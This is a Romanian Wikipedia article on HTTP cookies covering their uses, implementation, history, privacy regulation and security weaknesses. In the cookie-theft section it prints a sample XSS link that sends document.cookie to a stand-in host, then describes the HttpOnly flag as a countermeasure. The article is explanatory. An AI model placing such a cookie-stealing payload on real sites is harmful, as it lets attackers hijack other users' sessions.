Cookie
De la Wikipedia, enciclopedia liberă
Un cookie HTTP sau un modul cookie este un text special, deseori codificat, trimis de un server unui browser web şi apoi trimis înapoi (nemodificat) de către browser, de fiecare dată când accesează acel server. Cookie-urile sunt folosite pentru autentificare precum şi pentru urmărirea comportamentului utilizatorilor; aplicaţii tipice sunt reţinerea preferinţelor utilizatorilor şi implementarea sistemului de „coş de cumpărături”.
Termenul „cookie” este o preluare directă din limba engleză, având în limbajul curent semnificaţia de „prăjiturică” sau „biscuit”. Se pronunţă aproximativ „cu-chi”. În informatică el este derivat din termenul „magic cookie”, un concept des utillizat în IT, care a şi inspirat cookie-urile HTTP. În general numele de „cookie” este folosit şi în alte limbi; doar în terminologia tehnică francofonă s-a încercat traducerea lui prin termenul témoin („martor”).
Cookie-urile au creat îngrijorare din cauza faptului că permit strângerea de informaţii despre comportamentul utilizatorilor (în principiu, ce pagini vizitează şi când). Ca urmare, aspecte ale folosirii lor (şi a informaţiilor culese) sunt supuse unor restricţii legale în unele ţări, printre care Statele Unite ale Americii şi ţările UE. Tehnicile de tip „Cookie” au fost de asemenea criticate pentru faptul că identificarea utilizatorilor nu e întotdeauna precisă, ca şi pentru faptul că prin intermediul lor se pot executa atacuri informatice.
Există şi o serie de păreri greşite despre cookie-uri, cele mai multe bazate pe impresia (greşită) că ele ar conţine întotdeauna cod executabil; în realitate ele sunt doar texte, şi nu pot să execute nici o operaţie. Ele nu sunt nici spyware şi nici viruşi, deşi anumite programe anti-virus şi anti-spyware le semnalează prezenţa în sistem.
Cele mai multe browsere moderne permit utilizatorului să decidă dacă acceptă sau nu cookie-uri. Siturilor care le refuză le vor lipsi însă anumite facilităţi - de exemplu, într-un magazin virtual nu se va mai putea folosi coşul de cumpărături, dacă acesta a fost implementat cu ajutorul cookie-urilor.
Cuprins |
[modifică] Scopul
Cookie-urile sunt folosite de serverele web pentru a putea diferenţia utilizatorii şi pentru a putea reacţiona în funcţie de acţiunile acestora în cadrul unei sesiuni formate din mai multe tranzacţii separate. Ele au fost inventate pentru a se putea implementa un coş de cumpărături virtual: de obicei, utilizatorul mai întâi se autentifică (login), apoi navighează situl, adaugă sau elimină în voie obiecte din coş, apoi afişează conţinutul coşului, cere calcularea preţului final, se hotărăşte să comande (ori totuşi renunţă), iar la sfârşit închide sesiunea (logout).
Autentificarea utilizatorilor faţă de server este o altă aplicaţie a cookie-urilor; cu ajutorul acestora serverul reţine faptul că utilizatorul s-a autentificat, şi îi va permite acţiuni specifice celor autentificaţi.
Unele situri folosesc cookie-urile şi pentru a permite utilizatorilor să modifice felul în care afişează paginile de web, în funcţie de preferinţele personale, care sunt reţinute şi între sesiuni. Se pot modifica şi reţine în acest fel atât aspecte legate de funcţionalitatea cât şi de afişarea grafică a paginilor. De exemplu, Wikipedia permite utilizatorilor înregistraţi să modifice aspectul paginilor, iar în Google, chiar şi utilizatorii neînregistraţi pot de exemplu alege câte rezultate să fie afişate într-o pagină.
Cookie-urile se folosesc şi pentru a urmări activitatea unui utilizator pe un sit, sau chiar pe mai multe situri, în cazul cookie-urilor „third party” sau a aşa-numiţilor „web bugs”. Urmărirea în cadrul unui sit este făcută în scopul obţinerii unor statistici ale folosirii. În special companiile de publicitate urmăresc activitatea utilizatorilor în cadrul mai multor situri pentru a afla mai exact interesele lor, putând astfel să decidă ce reclame să trimită la un anumit moment unui anumit utilizator.
[modifică] Realizarea
Cookie-urile de obicei conţin date fără semnificaţie pentru utilizator sau pentru browserul său, dar care pot fi interpretate de server. Browserul le primeşte şi le returnează serverului nemodificate, introducând astfel o „amintire” a evenimetelor trecute în cererea HTTP, care în sine este atemporală (altfel spus, fiecare cerere este în principiu un eveniment izolat, fără a avea vreo legătură cu alte cereri HTTP trecute sau viitoare către acelaşi server). Returnând însă un cookie unui server, acesta poate lega cererea actuală de cereri precedente (în care acelaşi server a trimis cookie-ul). În afară de servere, cookie-urile mai pot fi create şi de aplicaţii web care rulează pe server şi comunică cu clienţii prin HTTP, şi scrise în limbaje de programare cum ar fi Java şi C# sau în scripturi ce rulează pe server.
Descrierea detaliată a mecanismului[1][2] sugerează ca browserele să poată reţine cel puţin 300 de cookie-uri de câte 4 kb, şi cel puţin 20 pentru fiecare server sau domeniu de internet.
La crearea cookie-ului se poate specifica şi data de ştergere; în caz contrar, acesta va fi şters la închiderea browserului. Un magazin virtual poate dori să se reţină conţinutul coşului de cumpărături între sesiuni, astfel încât la următoarea vizită utilizatorul să nu trebuiască să caute din nou toate produsele. În acest caz, serverul magazinului va crea un cookie cu un termen de ştergere ceva mai lung. Doar cookie-urile care au un termen de ştergere lung, specificat explicit, vor „supravieţui” între sesiuni, în care caz ele pot fi numite „persistente”.
[modifică] Neadevăruri
De la apariţia cookie-urilor pe Internet s-au răspândit, din păcate, şi mai multe păreri greşite despre ele. [3][4] În 2005, Jupiter Research a publicat rezultatele unui sondaj,[5] conform căruia o bună parte a celor chestionaţi credeau că:
- cookie-urile sunt similare viermilor sau viruşilor, putând să şteargă date de pe hard disk;
- cookie-urile sunt o formă de spyware, putând să citească informaţii personale stocate în PC;
- cookie-urile generează popup-uri (ferestre cu reclame, deschise automat de către browser, în general deranjante);
- cookie-urile sunt folosite pentru a trimite spam;
- cookie-urile sunt o formă de reclamă.
De fapt cookie-urile conţin doar date, nu şi cod: ele nu pot să şteargă sau să citească ceva de pe PC-ul utilizatorului.[6] Totuşi, ele permit detectarea paginilor vizitate de un utilizator într-unul sau mai multe situri. Aceste informaţii pot fi colectate într-un profil al utilizatorului. Acesta este ce-i drept anonim (nu conţine informaţii personale cum ar fi nume sau adresă, cu excepţia cazului în care utilizatorul şi-a indicat el însuşi datele personale), dar conţine totuşi un IP. Chiar dacă sunt în teorie anonime, datele colectate în acest fel au dat naştere unor îngrijorări cu privire la cât de bine se asigură anonimitatea utilizatorului atunci când navighează pe Internet.
În plus, conform aceluiaşi sondaj, destul de mulţi intervievaţi nu ştiau cum să şteargă cookie-urile reţinute de browserele lor.
[modifică] Configurarea browserului
Cele mai multe browsere moderne suportă cookie-uri; ele permit însă utilizatorului să decidă dacă va folosi sau nu cookie-uri. Variantele cele mai folosite sunt:[7] (1) nu sunt folosite cookie-uri, (2) browserul cere permisiunea utilizatorului la fiecare cookie, sau (3) toate cookie-urile sunt acceptate.
Browserul poate permite specificarea mai detaliată a cookie-urilor care să fie acceptate. De obicei utilizatorul are la dispoziţie următoarele opţiuni: respingerea cookie-urilor pentru anumite domeniii de internet; respingerea cookie-urilor third party (explicate mai jos); acceptarea cookie-urilor dar ştergerea lor la închiderea browserului; permisiunea ca un server să creeze cookie-uri pentru un alt domeniu. Cele mai multe browsere care suportă Javascript dau posibilitatea afişării cookie-urilor active pentru o anumită pagină, scriind javascript:alert("Cookies: "+document.cookie) în câmpul de editare a URL-ului. În plus, unele browsere permit utilizatorului să vadă şi să şteargă individual cookie-urile stocate.
Standardul P3P dă posibilitatea serverelor să declare ce fel de informaţii colectează şi în ce scop, incluzând informaţiile colectate cu ajutorul cookie-urilor. Astfel, un browser poate să decidă dacă acceptă sau nu cookie-urile, sau poate afişa utilizatorului intenţiile declarate de server, iar acesta va decide acceptarea sau respingerea cookie-urilor.
[modifică] Anonimitatea şi cookie-urile „third party”
Cookie-urile au implicaţii destul de importante în ceea ce priveşte anonimitatea şi securitatea informaţiilor de natură personală ale celor care accesează pagini de web. Deşi cookie-urile sunt trimise doar serverului care le-a creat sau unuia care este în acelaşi domeniu de Internet, o pagină poate conţine imagini (sau alte elemente) găzduite pe mai multe servere din domenii diferite. Cookie-urile create de aceste servere secundare (faţă de serverul pe care este găzduită pagina propriu-zisă) se numesc „third party” în limba engleză, o traducere mot-a-mot fiind „terţă parte”.
Companiile publicitare folosesc astfel de cookie-uri pentru a urmări utilizatorii care accesează paginile în care aceasta are imagini sau aşa numite „Web-bugs” (care sunt imagini cu dimensiunea de un singur pixel, în mod normal invizibile -transparente-, al căror singur rol constă în a declanşa un transfer de cookie-uri). În acest fel compania cunoaşte comportamentul utilizatorilor şi poate plasa reclame pertinente (apropiate de preocupările şi interesele utilizatorului) în anumite pagini.
Posibilitatea generării unei aproximări a comportamentului utilizatorilor a fost considerată de unii drept o ameninţare a anonimităţii, mai ales atunci cănd aceasta se face prin urmărirea acţiunilor pe mai multe domenii de Internet, folosind cookie-uri „third party”. din această cauză, folosirea cookie-urilor este reglementată prin lege în unele ţări.
Guvernul Statelor Unite ale Americii a elaborat un set strict de reguli în privinţa cookie-urilor în anul 2000, după ce a ieşit la iveală faptul că Direcţia pentru Controlul Drogurilor a Casei Albe folosea cookie-uri pentru a vedea dacă cei care îi accesau site-ul accesau după aceea pagini de web despre folosirea ori producerea drogurilor. În 2002, Daniel Brandt, militant pentru securitatea datelor personale pe web, a descoperit că şi pagina de web a CIA lăsa pe hard-disk-urile utilizatorilor cookie-uri persistente (cu data de expirare 2010). După ce a fost anunţată că îşi încalcă propriile reguli, CIA a răspuns că trimiterea cookie-urilor a fost accidentală, că ele nu au fost folosite efectiv pentru a urmări utilizatorii şi şi-a modificat pagina astfel încât să nu mai folosească cookie-uri.[8] Pe 25 decembrie 2005, Brandt a descoperit că şi NSA lăsa două cookie-uri persistente pe calculatoarele utilizatorilor, din cauza unui update de software. După ce a fost informată de acest lucru, NSA a dezactivat trimiterea de cookie-uri de pe site-ul propriu.[9]
O directivă din 2002 a Uniunii Europene în privinţa securităţii informaţiilor de natură personală pe Internet conţine reguli legate de folosirea cookie-urilor. Printre altele, Articolul 5, Alineatul 3 specifică faptul că salvarea datelor (cum ar fi cookie-uri) pe calculatorul unui utilizator poate fi făcută doar dacă: 1) utilizatorului i se spune cum vor fi utilizate aceste date; şi 2) utilizatorului i se dă posibilitatea de a refuza aceste date. Totuşi, acelaşi articol menţionează faptul că salvarea datelor necesare din motive tehnice este exceptată de la această regulă. Această directivă trebuia aplicată încă din octombrie 2003, dar un raport din decembrie 2004 [10] spune (la pagina 38) că această prevedere nu a fost pusă în practică, şi că unele ţări membre nici măcar nu au adoptat-o (Slovacia, Letonia, Grecia, Belgia, şi Luxembourg). Acelaşi raport propune o analiză serioasă a situaţiei din statele membre (ale Uniunii Europene).
[modifică] Dezavantaje ale cookie-urilor
În afară de problema securităţii datelor personale, mai există câteva motive pentru care folosirea cookie-urilor este criticată: ele nu pot identifica foarte precis utilizatorii, şi pot fi folosite pentru a ataca sistemele IT.
[modifică] Identificarea imprecisă
Dacă pe un calculator sunt folosite mai multe browsere, fiecare va avea cookie-urile sale. Deci cookie-urile nu identifică persoana, ci combinaţia cont de utilizator, calculator, browser. Oricine foloseşte mai multe conturi de utilizator, calculatoare sau browsere, va avea mai multe seturi de cookie-uri.
De asemenea, prin cookie-uri nu se poate face diferenţa dintre doi utilizatori care folosesc acelaşi calculator şi browser (dacă nu folosesc conturi de utilizator diferite).
[modifică] Interceptarea cookie-urilor
În mod normal, cookie-urile sunt transferate între un server (sau mai multe servere din acelaşi domeniu) şi calculatorul utilizatorului. Deoarece cookie-urile pot conţine informaţii confidenţiale (nume de utilizator, parolă etc.), ele nu ar trebui să fie accesibile altor calculatoare. Din păcate, sesiunile HTTP obişnuite sunt vizibile tuturor calculatoarelor din reţea, care pot intercepta pachetele de date. Aceste cookie-uri nu pot conţine deci informaţii confidenţiale. O soluţie posibilă este HTTPS, care foloseşte Transport Layer Security pentru a cripta toate datele schimbate între server şi calculatorul utilizatorului.
Aşa numitul „cross-site scripting” (scripting inter-sit) permite trimiterea unui cookie altor servere, care nu ar trebui în mod normal să-l primească. Browser-ele moderne permit executarea (de către client) a unor fragmente de cod primite de la server; dacă cookie-urile pot fi accesate în timpul execuţiei, ele ar putea fi trimise altor servere decât cele „autorizate”. Aceasta se numeşte „furtul” cookie-ului, iar criptarea nu ajută împotriva acestui gen de atac.[11]
Aceasă metodă este de obicei folosită pe sit-uri care permit utilizatorilor să trimită conţinut HTML. Folosind un anumit fragment de cod, un utilizator rău-voitor poate să primească cookie-uri ale altor utilizatori; cu ajutorul lor, el poate apoi să se conecteze şi să se păcălească serverul, care crede că altcineva s-a autentificat.
[modifică] „Otrăvirea” cookie-urilor
Cookie-urile ar trebui să fie reţinute şi trimise serverului neschimbate; un atacator ar putea însă să le modifice şi apoi să le trimită serverului. Acest proces se numeşte „otrăvirea” cookie-urilor, şi este uneori folosit după „furtul” lor. Dacă, de exemplu, un cookie reţine suma care trebuie plătită pentru cumpărăturile din coşul virtual, schimbarea acestei valori ar putea permite cumpărarea unor bunuri la un preţ mult mai mic.
Totuşi, cele mai multe site-uri reţin cu ajutorul cookie-urilor doar un identificator de sesiune: acesta este un număr unic(generat aleator) care identifică sesiunea utilizatorului - el reprezintă de fapt un index într-o tabelă internă a serverului, în care se reţin valorile cu adevărat importante, cum ar fi preţul unor cumpărături, ş.a.m.d.. În acest fel problema cookie-urilor invalide este în principiu eliminată.
[modifică] Cookie inter-site
Fiecare site ar trebui să aibă acces doar la cookie-urile proprii, adică un site de genul rău.net nu ar trebui să poată citi cookie-uri trimise clientului de un alt site bun.net. Totuşi, erori în programarea browser-elor pot duce la încălcarea acestei reguli. Se ajunge la o situaţie similară trimiterii de cookie-uri modificate, dar în acest caz nu este atacat serverul, ci un utilizator de bunăcredinţă care foloseşte un browser vulnerabil. În acest fel, de exemplu, se poate fura acel identificator de sesiune şi atacatorul poate să se „autentifice” în locul utilizatorului de bună credinţă.
[modifică] Alternative la cookie-uri
Există o serie de alternative la folosirea cookie-urilor. Acestea au însă şi ele dezavantajele lor, de aceea cookie-urile sunt preferate de cele mai multe ori în practică. Cele mai multe dintre aceste metode alternative permit urmărirea acţiunulior utilizatorilor, deşi cu o acurateţe mai mică decât cea a cookie-urilor. Securitatea informaţiilor personale rămâne deci o problemă, chiar dacă browser-ul este configurat să nu accepte cookie-uri.
[modifică] Adresa IP
O metodă foarte puţin precisă de urmărire a utilizatorilor se bazează pe reţinerea adreselor IP ale calculatoarelor care solicită pagini web. Aceasta a fost disponibilă şi folosită încă de la începuturile World Wide Web-ului, pentru că trimiterea paginii către un client presupune cunoaşterea adresei IP a acestuia (sau a proxy-ului, dacă se foloseşte unul). Această adresă poate fi reţinută de către server indiferent dacă cookie-urile sunt sau nu folosite.
Totuşi, calculatoarele şi proxy-urile pot fi folosite de mai mulţi utilizatori; de asemenea, acelaşi calculator poate avea adrese IP diferite, de exemplu în cazul unor conexiuni succesive prin dial-up. De aceea, o urmărire fiabilă a unui utilizator este dificilă; o proprietate a protocolului HTTP poate ajuta în acest sens: atunci când un browser cere o pagină din cauză că utilizatorul urmează o legătură, cererea conţine şi adresa paginii pe care se află această legătură. Dacă serverul stochează aceste adrese, el poate avea succesiunea de pagini vizitate de utilizator. Nici această metodă nu este la fel de eficientă ca folosirea cookie-urilor, deoarece mai mulţi utilizatori pot accesa aceeaşi pagină de la acelaşi calculator, NAT router, sau proxy şi apoi să urmeze două legături diferite. În orice caz, în acest fel se pot doar urmări acţiunile utilizatorului, şi nu se pot suplini celelalte moduri de folosire a cookie-urilor.
Urmărirea cu ajutorul adresei IP poate fi imposibilă dacă utilizatorul foloseşte unul dintre sistemele de acces anonim la internet, cum ar fi Tor. Acestea fac ca un browser să aibă mai multe adrese IP în cadrul unei singure sesiuni, şi chiar pot face să pară că de la aceeaşi adresă IP vin mai mulţi utilizatori.
[modifică] URL (query string)
O metodă mai precisă se bazează pe introducerea informaţiei în adresa URL. Partea denumită „query string” este folosită de obicei, dar se pot folosi şi alte secţiuni. Mecanismul sesiunilor PHP foloseşte această metodă dacă cookie-urile nu sunt activate.
În principiu metoda constă în adăugarea la adresele URL ale legăturilor (de pe paginile găzduite) a unui şir de caractere (informaţia care altfel ar fi fost reţinută într-un cookie). Atunci când este urmată una dintre legături, browser-ul returnează întregul URL (deci şi partea ataşată) serverului. Diferenţa faţă de mecanismul cookie-urilor este următoarea: dacă URL-ul este refolosit (de exemplu trimis prin e-mail sau reţinut în browser), aceeaşi informaţie este primită de server; de exemplu urmând un URL primit prin e-mail, utilizatorul va fi întâmpinat de preferinţele ori coşul de cumpărături iniţial (al celui care i-a trimis e-mail-ul). Mai mult, dacă acelaşi utilizator deschide aceeaşi pagină de două ori, dar „venind” din pagini diferite (de exemplu dintr-un motor de căutare şi dintr-o altă pagină a aceluiaşi domeniu), el va vedea lucruri diferite.
Un alt dezavantaj al acestei metode este legat de securitate: trimiţând o adresă prin e-mail, este posibil să fie trimis şi un identificator de sesiune, iar cel care va urma legătura va apărea pentru server ca fiind un utilizator autentificat. În această privinţă cookie-urile sunt mult mai sigure, fiind mai greu de „furat”.
[modifică] Autentificare HTTP
Protocolul HTTP include mecanisme (cum ar fi digest access authentication), care permit accesarea unei pagini Web doar după furnizarea unui nume de utilizator şi a unei parole, pe care browser-ul le reţine şi le transmite server-ului la fiecare cerere, fără ca utilizatorul să le introducă de fiecare dată; din punctul acestuia de vedere, lucrurile se desfăşoară ca şi în cazul folosirii cookie-urilor. Totuşi, transmiterea parolei (şi chiar a numelui de utilizator) de fiecare dată când este cerută o pagină este destul de nesigură: acest trafic poate fi interceptat. Identificatorul de sesiune (informaţia care putea fi interceptată dacăse foloseau cookie-uri) expiră destul de repede după ce nu a fost folosit, devenind inutilizabil pentru un atacator.
[modifică] Obiecte Locale Macromedia Flash
Dacă un browser foloseşte plugin-ul Macromedia Flash Player funcţia de salvare locală a unor obiecte poate fi folosită într-un mod foarte asemănător cookie-urilor. Aceasta poate fi o opţiune atrăgătoare pentru dezvoltatorii de pagini Web, pentru că majoritatea utilizatorilor de Windows folosesc acest plugin, iar limita de mărime este de 100 kb. În plus, configurările sunt separate de cookie-uri, deci stocarea locală a obiectelor poate fi activată, iar cookie-urile dezactivate.
[modifică] Alte metode de a stoca date local
Unele browsere suportă un mecanism prin care paginile Web îşi pot stoca local unele date printr-un script. Internet Explorer, de exemplu, poate fi folosit pentru a stoca date într-o pagină Web salvată pe hard-disk, într-un document XML, sau în secţiunile „Favorites” („Pagini favorite” ori „Semne de carte”) ori „History” („Pagini recente”) ale browser-ului.[12]
[modifică] window.name
Dacă Javascript este activat, proprietatea name name a obiectului window poate fi folosită pentru a stoca local date, deoarece aceasta rămâne neschimbată la încărcarea succesivă a unor pagini Web. Metoda este mai puţin cunoscută, şi din această cauză nu este considerată drept o ameninţare la adresa securităţii.[13]
[modifică] Istoria cookie-urilor
Termenul vine de la expresia din limba engleză „magic cookie”, care desemnează un pachet de date pe care un program îl primeşte doar pentru a-l trimite înapoi nemodificat. Acest procedeu era deja larg răspândit atunci când, în iunie 1994, Lou Montulli a avut ideea de a-l folosi în cadrul comunicaţiilor web[14]. Pe atunci el era angajat al Netscape Communications, care dezvolta o aplicaţie e-commerce pentru un client, iar cookie-urile au fost folosite pentru a implementa un „coş de cumpărături virtual”[15][16]
Împreună cu John Giannandrea, Montulli a scris descrierea tehnică a cookie-urilor, iar versiunea 0.9 a browser-ului Netscape (lansată în septembrie 1994) accepta cookie-uri. Prima aplicaţie a cookie-urilor a fost pe situl Netscape - se verifica dacă un vizitator intra accesa pentru prima dată situl. Montulli şi Giannandrea au depus o cerere de brevetare a mecanismului (1995), primind brevetul în 1998. Versiunea 2 a Internet Explorer (lansată în 1995) suporta de asemenea cookie-uri.[17]
La acel moment, introducerea cookie-urilor nu era foarte cunoscută de publicul larg. Cookie-urile erau acceptate de setările implicite ale browserului, iar utilizatorii nu erau notificaţi de prezenţa lor. Un articol Financial Times, publicat în12 februarie 1996, a atras atenţia asupra cookie-urilor, mai ales din cauza posibilităţii de a sustrage cu ajutorul lor informaţii personale.
Primele specificaţii oficiale au fost scrise în februarie 1997, de IETF (documentul RFC 2109). Cookie-urile „third-party” au fost identificate ca fiind o ameninţare la adresa anonimităţii utilizatorilor, astfel încât documnetul recomandă ca ele să nu fie acceptate deloc, sau măcar ca aceasta să fie setarea implicită a browser-ului.
Companiile de publicitate deja foloseau cookie-uri, iar recomandarea privind cookie-uri „third-party” nu au fost respectate de Netscape ori de Internet Explorer. RFC 2109 a fost urmat de RFC 2965 în octombrie 2000.
[modifică] Implementarea
[modifică] Crearea unui cookie
Paginile web sunt transmise prin HTTP; browser-ul începe prin a trimite o cerere serverului. De exemplu, pentru a accesa pagina http://www.w3.org/index.html, browser-ul se conectează la serveul www.w3.org şi trimite o cerere de forma:
|
|
||
| browser |
|
server |
Serverul răspunde trimiţând pagina cerută, precedată de un pachet de text numit „HTTP header”. Acesta poate conţine linii care cer browser-ului să reţină cookie-uri:
|
HTTP/1.1 200 OK |
||
| browser |
|
server |
Linia Set-cookie este trimisă doar dacă serverul vrea ca browser-ul să reţină un cookie. Mai precis, cookie-ul este name=value. Dacă browser-ul acceptă cookie-uri, toate cererile următoare către acelaşi server vor conţine acel cookie. De exemplu, dacă browser-ul vrea să acceseze http://www.w3.org/spec.html va trimite serverului www.w3.org o cerere de forma:
|
GET /spec.html HTTP/1.1 |
||
| browser |
|
server |
În acest fel serverul ştie că aceasta nu e prima cerere, şi va răspunde trimiţând pagina cerută, eventual împreună cu alte cookie-uri. Valoarea unui cookiepoate fi modificată de server trimiţând linia Set-Cookie: name=newvalue în răspunsul următoarei cereri a browser-ului.
În general, linia Set-Cookie nu e creată de serverul propriu-zis, ci de un program CGI. Serverul doar trimite rezultatul geneart de acest program browser-ului.
cookie-urile pot fi create şi de scripturi (de exemplu JavaScript) care rulează în cadrul browser-ului. În JavaScript, se foloseşte obiectul document.cookie. De exemplu, instrucţiunea document.cookie = "temperature=20" creează un cookie cu numele temperature şi valoarea 20.[18]
[modifică] Alte proprietăţi ale cookie-urilor
În afară de nume şi valoare, un cookie poate să conţină data expirării, o cale, un nume de domeniu (domain name), şi dacă cookie-ul trebuie sau nu să fie transmis doar prin conexiune criptată (Transport Layer Security). RFC 2109 prevede folosirea unui număr caresă reţină versiunea cookie-ului, dar acesta e de obicei omis. Aceste proprietăţi urmează după name=newvalue şi sunt de obicei separate prin „;”. De exemplu, un cookie poate fi creat de server trimiţând linia Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org.
Numele de domeniu şi calea spun browser-ului cărui server să trimită cookie-ul atunci când încearcă să acceseze o pagină. Dacă nu sunt specificate, valoarea implicită este domeniul şi calea obiectului din cererea curentă. Ca urmare, sirurile domeniu şi cale pot să ducă la trimiterea unui cookie la alt server decât cel implicit. Din motive de securitate, cookie-ul este acceptat doar dacăserverul este membru al domeniului specificat în proprietăţile cookie-ului.
cookie-urile sunt de fapt identificate de tripleta nume/domeniu/cale, nu doar de nume (În varainta originală Netscape apărea doar perechea nume/cale). Cu alte cuvinte, acelaşi nume dar domenii diferite reprezintă cookie-uri diferite (probabil cu valori diferite).
Data expirării specifică momentul în care browser-ul va şterge cookie-ul din memorie. În mod implicit (dacă nu se specifică o dată a expirării), cookie-urile sunt şterse la închiderea sesiunii (oprirea programului), dar dacă este specificată o anumită dată, cookie-ul va rămâne în memorie(până la acea dată). În acest fel, specificând o dată a expirării, cookie-urile „supravieţuiesc” între sesiuni; această prprietate se numeşte „persistenţă”
De exemplu, un server ar putea să trimită un cookie de forma următoare:
Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net
Numele acestui cookie este RMID, iar valoarea sa 732423sdfs73242. Calea şi numele de domeniu / and .example.net spun browser-ului să trimită cookie-ul atunci când cere o pagină (orice pagină) din domeniu .example.net.
Data expirării este 31 decembrie 2010, ora 23:59:59 GMT. Orice cerere după acea dată nu va mai fi însoţită de acest cookie, care va fi şters. Cookie-urile mai pot fi şterse de server (trimiţând o cerere de modificare şi schimbând data de expirare undeva în trecut) sau de utilizator, din meniul browser-ului.
[modifică] Expirare
cookie-urile expiră, şi de aceea nu sunt trimise de către browser spre server în condiţiile de mai jos:
- La sfârşitul unei sesiuni (de exemplu, când este închis browser-ul) dacă acel cookie nu este persistent
- Dacă a fost specificată o dată de expirare şi data se află la momentul curent în trecut
- Dacă data expirării este schimbată (de către server sau script) într-o dată din trecut
- Browserul şterge cookie-ul la cererea utilizatorului
A treia condiţie permite unui server sau unui script să şteargă în mod explicit un cookie.
[modifică] Autentificare
Cookie-urile pot fi folosite de servere pentru a recunoaşte utilizatorii autentificaţi şi pentru a modifica paginile trimise în funcţie de preferinţele acestora (personalizare). De exemplu:
- Utilizatorul introduce numele de utilizator şi parola în câmpurile de editare ale unei pagini şi le trimite spre server;
- Serverul primeşte numele de utilizator şi parola şi le verifică; dacă sunt corecte, trimite o pagină care confirmă acest lucru utilizatorului, împreună cu un cookie; de asemenea, serverul memorează perechea nume/cookie (sau doar cookie-ul);
- La fiecare accesare a unei pagini de pe acel server, browser-ul trimite şi cookie-ul împreună cu cererea; serverul compară cookie-ul primit cu cele memorate, şi poate să decidă dacă este vorba de un utilizator autentificat sau nu, trimiţând pagina potrivită.
Aceasta este metoda folosită de aproape toate siturile, inclusiv Wikipedia.
[modifică] Personalizarea paginilor
În mod similar autentificării, serverul află ce utilizator îi cere o paginăşi poate să o trimită în consecinţă, în funcţie de preferinele exprimate anterior, şi care au fost reţinute de server. Se pot personaliza pagini chiar în cazul utilizatorilor care nu au un cont pe server: pur şi simplu se reţin preferinţele în cadrul cookie-ului, şi la cererile următoare, trimiţând şi cookie-ul, browser-ul trimite şi preferinţele utilizatorului.
De exemplu, Google reţine preferinţele utilizatorilor într-un cookie numit PREF. Acesta e creat cu valori implicite la prima accesare a sitului. Atunci când utilizatorul intră în pagina de preferinţe şi alege ceva, serverul trimite o cerere de modificare a cookie-ului, reţinând în el noua valoare.
[modifică] Urmărirea utilizatorilor
Metoda cea mai folosită este următoarea:
- Dacă o cerere nu conţine nici un cookie, se presupune că este prima accesare a unei pagini de pe acel server; acesta creează un cookie cu o valoare arbitrară (dar unică) şi-l trimite, împreună cu pagina solicitată;
- De acum încolo, browserul va primi împreună cu cererile şi cookie-ul; el va trimite paginile cerute, dar va reţine numele paginii cerute, data şi ora, precum şi valoarea cookie-ului într-o listă specială.
Parcurgând această listă, este posibil să se afle ce pagini (şi în ce ordine) au fost vizitate de un anumit utilizator (identificat de un anumit cookie).
[modifică] Cookie-uri „third-party”
Imaginile sau alte obiecte conţinute de o pagină web pot să fie de fapt pe alt server decât cel pe care este pagina propriu-zisă. Pentru a afişa aceste obiecte, browser-ul le descarcă de pe serverele lor, eventual primind şi cookie-uri. Acestea se numesc „third party”, dacă serverul care le-a creat se află în alt domeniu decât serverul paginii.
Acest fenomen se întâmplă mai ales în cazul reclamelor. Imaginile publicitare se află de obicei stocate pe serverele companiei publicitare, în alt domeniu decât pagina web pe care sunt afişate. Dacă browser-ul acceptă cookie-urile, compania de publicitate poate să urmărească activitatea utilizatorului pe mai multe situri (pe toate siturile vizitate, care au imagini ce provin de la acea companie de publicitate). Aceasta se face folosind un URL unic pentru fiecare sit (astfel încât aceeaşi imagine afişată pe două situri are alt URL) sau cu ajutorul câmpului referer din tranzacţia HTTP. Acelaşi lucru se poate obţine intercalând în pagina de web imagini invizibile utilizatorului, dar care sunt downloadate de browser.
Companiile de publicitate au negat permanent că aceste informaţii ar fi folosite şi pentru alte scopuri în afara stabilirii unor preferinţe ale utilizatorilor.
Multe browsere moderne, cum ar fi Internet Explorer, Opera sau Mozilla Firefox, permit utilizatorului să aleagă blocarea cookie-urilor „third party”. Versiunea 6 a Internet Explorer permite şi o formă intermediară de blocare: dacă third.com trimite un cookie odată cu o imagine de pe o pagină din domeniul first.com, cookie-ul nu este trimis în cazul în care o este nevoie de o imagine de pe acelaşi third.com, dar pentru un document din domeniul other.com; dacă însă un document oarecare din domeniul iniţial first.com are nevoie de o imagine de pe third.com, cookie-ul va fi trimis[19].
[modifică] Coşul de cumpărături virtual
Aceasta este o altă aplicaţie a cookie-urilor, discutată şi mai sus
[modifică] „Furtul” cookie-urilor
Deşi în principiu cookie-urile sunt trimise doar serverelor care le-au creat, există metode de a le „fura”, adică de a convinge browser-ul să le trimită altor servere.
Printre altele, scripturile JavaScript sau JScript au de obicei acces la toate cookie-urile stocate de browser, putând să le trimită oriunde. Aceasta, împreună cu situri care permit utilizatorilor să le modifice paginile scriind conţinut HTML duce la situaţii nedorite.
De exemplu, cineva care deţine domeniul example.com poate scrie pe un alt sit o legătură de forma următoare:
<a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>
Când un utilizator apasă pe această legătură, browserul înlocuieşte document.cookie cu lista cookie-urilor active pe acel sit, care ajung astfel la serverul example.com, al cărui deţinător are acces acum la cookie-urile utilizatorilor sitului pe care a pus legătura.
Acest gen de atac este imposibil de prevenit de către browser, pentru că scriptul vine chiar de la serverul care a creat cookie-urile, şi totul pare a fi autorizat de acel server. Singura soluţie este ca administratorii siturilor care permit utilizatorilor să le modifice conţinutul să implementeze metode pentru respingerea acestui gen de scripturi.
cookie-urile nu sunt vizibile în programele de pe partea client precum JavaScript dacă au fost trimise cu flag-ul HttpOnly. Din punctul de vedere al serverului, singura diferenţă faţă de cazul normal este că în linia set-cookie se adaugă la sfârşit şirul `HttpOnly':
Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net; HttpOnly
Când browserul primeşte un astfel de cookie, el trebuie să îl folosească în mod obişnuit pentru schimburile HTTP următoare, dar să nu îl facă vizibil scripturilor părţii client.
[modifică] Referinţe
- ^ en Persistent client state - HTTP cookies - Preliminary specification (Netscape)
- ^ en RFC 2109 and RFC 2965 - HTTP State Management Mechanism (IETF)
- ^ en Contrary to popular belief, cookies are good for you! (on the Internet)
- ^ en Keith C. Ivey cookie-urile: simple bucăţi de date. 1998
- ^ en Brian Quinton. Sondaj: Utilizatorii nu ştiu ce sunt cookie-urile, şi nici cum să le şteargă. Direct. May 18 2005
